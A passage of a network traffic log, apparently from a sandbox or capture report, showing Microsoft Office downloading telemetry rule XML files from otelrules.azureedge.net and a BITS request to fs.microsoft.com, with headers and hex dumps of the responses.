2024-12-03 16:41:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:47 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 87286592-701e-0053-7b27-443a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164147Z-174f7845968xlwnmhC1EWR0sv800000015xg00000000tg4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:48 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:47 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:48 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 4c7796e8-801e-0083-47a6-43f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164148Z-174f78459685m244hC1EWRgp2c00000015y000000000sd98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:48 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:47 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:48 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:48 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: db283756-601e-0070-61b4-43a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164148Z-174f7845968xlwnmhC1EWR0sv8000000161g00000000b5tz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:48 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:48 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:48 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:48 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 5899b398-501e-007b-7df3-445ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164148Z-174f7845968xr5c2hC1EWRd0hn0000000r1000000000fk6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:48 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:49 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:49 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a7f5da2f-b01e-0070-7a69-431cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164149Z-174f7845968qj8jrhC1EWRh41s000000163000000000q290 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:49 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:49 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:50 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 993f507c-b01e-005c-43ee-444c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164150Z-174f7845968cs2nkhC1EWR2tq000000001wg00000000c1fw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:50 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:49 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:50 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2df421c-b01e-0021-5593-43cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164150Z-174f78459688l8rvhC1EWRtzr00000000kvg000000005gqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:50 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:50 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:50 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: c2b00c79-201e-0000-27b2-42a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164150Z-174f7845968swgbqhC1EWRmnb4000000169g00000000n6rx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:50 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:50 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:50 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 4793f8bc-701e-0053-5872-433a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164150Z-174f7845968px8v7hC1EWR08ng00000016h0000000003rdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:50 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:51 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:51 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: c57c8fd9-601e-0032-5e19-45eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164151Z-174f7845968j6t2phC1EWRcfe800000016cg0000000090pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:52 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49813	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:51 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-03 16:41:52 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=162936 Date: Tue, 03 Dec 2024 16:41:52 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:52 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:52 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 00f8033d-001e-000b-2543-4415a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164152Z-174f7845968j6t2phC1EWRcfe8000000167000000000xte5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:52 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:52 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:52 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6ff37f82-301e-001f-5b9a-42aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164152Z-174f7845968glpgnhC1EWR7uec00000016cg0000000090fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
